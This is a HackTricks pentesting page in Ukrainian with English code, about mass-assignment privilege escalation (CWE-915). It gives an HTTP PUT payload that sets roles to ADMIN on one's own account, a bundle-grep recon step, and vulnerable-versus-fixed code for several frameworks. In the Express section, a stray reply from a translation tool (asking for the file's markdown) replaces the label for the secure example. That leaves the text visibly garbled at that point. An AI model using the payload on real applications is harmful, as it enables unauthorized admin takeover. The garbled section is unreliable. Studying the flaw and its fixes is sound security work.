Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Mass assignment (a.k.a. insecure object binding) відбувається, коли API/контролер приймає JSON, наданий користувачем, і безпосередньо прив’язує його до серверної моделі/сутності без явного allow-list полів. Якщо привілейовані властивості, такі як roles, isAdmin, status або поля власності, доступні для прив’язування, будь-який автентифікований користувач може підвищити привілеї або змінити захищений стан.
This is a Broken Access Control issue (OWASP A01:2021), що часто дозволяє вертикальне підвищення привілеїв шляхом встановлення roles=ADMIN або подібного. Зазвичай впливає на фреймворки, які підтримують автоматичне прив’язування тіл запитів до моделей даних (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
1) Finding Mass Assignment
Шукайте кінцеві точки самообслуговування, які оновлюють ваш профіль або подібні ресурси:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Евристики, що вказують на mass assignment:
- Відповідь віддзеркалює поля, якими керує сервер (e.g., roles, status, isAdmin, permissions), навіть якщо ви їх не надсилали.
- Клієнтські бандли містять імена/ID ролей або інші назви привілейованих атрибутів, що використовуються по всьому додатку (admin, staff, moderator, internal flags), що натякає на bindable schema.
- Backend serializers приймають невідомі поля, не відхиляючи їх.
Швидкий тест:
- Виконайте звичайне оновлення лише з безпечними полями та спостерігайте повну JSON відповідь (this leaks the schema).
- Повторіть оновлення, включивши сконструйоване привілейоване поле в тілі. Якщо відповідь зберігає зміну, ймовірно, у вас є mass assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Відповідь натякає на привілейовані поля:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Коли ви знаєте bindable shape, включіть privileged property в той самий запит.
Приклад: встановіть roles у ADMIN у власному user resource:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
Notes
- Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like “roles”, “ADMIN”, “STAFF”, or numeric role IDs.
- If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.
3) Client Bundle Recon for Schema and Role IDs
- Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
- Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
- Typical indicators: role name constants, dropdown option lists, validation schemas.
Handy greps against a downloaded bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Проблеми фреймворків та безпечні патерни
Ця вразливість виникає, коли фреймворки прив’язують req.body безпосередньо до збережених сутностей. Нижче наведені поширені помилки та мінімальні безпечні підходи.
Node.js (Express + Mongoose)
Вразливий:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Я не отримав вміст файлу. Будь ласка, вставте markdown-зміст файлу src/pentesting-web/mass-assignment-cwe-915.md або уточніть, що саме потрібно виправити/перекласти. Після отримання вмісту я перекладу релевантний англійський текст українською, зберігаючи всі теги, посилання, шляхи та код згідно з вказаними правилами.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Уразливий (без strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Виправлення (strong params + без привілейованих полів):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Вразливий:
protected $guarded = []; // Everything mass-assignable (bad)
Виправлення:
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Уразливий патерн:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Виправити: Відобразити в DTO лише дозволені поля та забезпечити перевірку авторизації:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Потім копіюйте дозволені поля з DTO у сутність на сервері та обробляйте зміни ролей лише в обробниках, доступних тільки адміністраторам, після перевірок RBAC. Використовуйте @JsonIgnore для привілейованих полів за потреби та відхиляйте невідомі властивості.
Go (encoding/json)
- Переконайтеся, що привілейовані поля використовують json:“-” і валідовуйте через DTO struct, який містить лише дозволені поля.
- Розгляньте decoder.DisallowUnknownFields() та post-bind валідацію інваріантів (ролі не можуть змінюватися в маршрутах самообслуговування).
Посилання
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

